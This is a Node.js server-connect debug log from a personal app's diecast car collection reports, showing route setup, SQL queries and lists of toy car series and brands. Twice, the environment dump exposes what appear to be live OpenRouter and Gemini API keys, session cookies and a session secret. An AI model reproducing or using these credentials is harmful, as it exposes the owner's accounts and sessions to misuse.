    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-14T05:53:32.314Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-07-14T05:53:32.314Z server-connect:app Executing action step identify
2026-07-14T05:53:32.314Z server-connect:app options: { provider: 'security' }
2026-07-14T05:53:32.315Z server-connect:output identity: 1
2026-07-14T05:53:32.315Z server-connect:app Executing action step restrict
2026-07-14T05:53:32.315Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:53:32.316Z server-connect:output restrict: undefined
2026-07-14T05:53:32.316Z server-connect:app Executing action step custom
2026-07-14T05:53:32.317Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-14T05:53:32.320Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-07-14T05:53:35.727Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-07-14T05:53:35.728Z server-connect:app Executing action step identify
2026-07-14T05:53:35.728Z server-connect:app options: { provider: 'security' }
2026-07-14T05:53:35.728Z server-connect:output identity: 1
2026-07-14T05:53:35.728Z server-connect:app Executing action step restrict
2026-07-14T05:53:35.728Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:53:35.729Z server-connect:output restrict: undefined
2026-07-14T05:53:35.729Z server-connect:app Executing action step custom
2026-07-14T05:53:35.729Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-07-14T05:53:35.730Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 32 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-07-14T05:54:04.357Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-14T05:54:04.535Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-14T05:54:04.624Z server-connect:setup:upload Upload middleware configured.
2026-07-14T05:54:04.624Z server-connect:secure CSRF Protection initialized
2026-07-14T05:54:04.626Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-14T05:54:04.626Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-14T05:54:04.627Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-14T05:54:04.627Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-14T05:54:04.628Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-14T05:54:04.628Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-14T05:54:04.631Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-14T05:54:04.631Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-14T05:54:04.632Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-14T05:54:04.632Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-14T05:54:04.633Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-14T05:54:04.633Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-14T05:54:04.633Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-14T05:54:04.634Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-14T05:54:04.634Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-14T05:54:04.637Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-14T05:54:04.637Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-14T05:54:04.638Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-14T05:54:04.638Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-14T05:54:04.638Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-14T05:54:04.638Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-14T05:54:04.639Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-14T05:54:04.639Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-14T05:54:04.639Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-14T05:54:04.640Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-14T05:54:04.640Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-14T05:54:04.640Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-14T05:54:04.640Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-14T05:54:04.640Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-14T05:54:04.641Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-14T05:54:04.641Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-14T05:54:04.641Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-14T05:54:04.641Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-14T05:54:04.642Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-14T05:54:04.642Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-14T05:54:04.642Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-14T05:54:04.642Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-14T05:54:04.643Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-14T05:54:04.765Z server-connect:router Serving templateView /diecast
2026-07-14T05:54:04.777Z server-connect:app Executing action step identify
2026-07-14T05:54:04.778Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:04.779Z server-connect:output identity: 1
2026-07-14T05:54:04.779Z server-connect:app Executing action step restrict
2026-07-14T05:54:04.780Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-14T05:54:04.782Z server-connect:output restrict: undefined
2026-07-14T05:54:04.782Z server-connect:router Render template diecast
2026-07-14T05:54:04.783Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-07-14T05:54:05.041Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-14T05:54:05.046Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-14T05:54:05.049Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-14T05:54:05.052Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-14T05:54:05.052Z server-connect:app Executing action step identify
2026-07-14T05:54:05.052Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:05.052Z server-connect:output identity: 1
2026-07-14T05:54:05.053Z server-connect:app Executing action step restrict
2026-07-14T05:54:05.053Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:05.054Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-14T05:54:05.054Z server-connect:output restrict: undefined
2026-07-14T05:54:05.056Z server-connect:app Executing action step select
2026-07-14T05:54:05.056Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-14T05:54:05.059Z server-connect:app Executing action step identify
2026-07-14T05:54:05.059Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:05.060Z server-connect:output identity: 1
2026-07-14T05:54:05.060Z server-connect:app Executing action step restrict
2026-07-14T05:54:05.060Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:05.060Z server-connect:app Executing action step identify
2026-07-14T05:54:05.060Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:05.061Z server-connect:output identity: 1
2026-07-14T05:54:05.061Z server-connect:app Executing action step restrict
2026-07-14T05:54:05.061Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:05.065Z server-connect:app Executing action step identify
2026-07-14T05:54:05.065Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:05.065Z server-connect:output identity: 1
2026-07-14T05:54:05.066Z server-connect:app Executing action step restrict
2026-07-14T05:54:05.066Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:05.067Z server-connect:output restrict: undefined
2026-07-14T05:54:05.067Z server-connect:app Executing action step select
2026-07-14T05:54:05.067Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-14T05:54:05.069Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-14T05:54:05.069Z server-connect:app Executing action step select
2026-07-14T05:54:05.070Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-14T05:54:05.070Z server-connect:output restrict: undefined
2026-07-14T05:54:05.070Z server-connect:app Executing action step select
2026-07-14T05:54:05.070Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-14T05:54:05.071Z server-connect:app Executing action step identify
2026-07-14T05:54:05.071Z server-connect:app options: { provider: 'security' }
2026-07-14T05:54:05.071Z server-connect:output identity: 1
2026-07-14T05:54:05.071Z server-connect:app Executing action step restrict
2026-07-14T05:54:05.071Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-14T05:54:05.072Z server-connect:output restrict: undefined
2026-07-14T05:54:05.072Z server-connect:app Executing action step paged
2026-07-14T05:54:05.073Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-14T05:54:05.076Z server-connect:output list: [
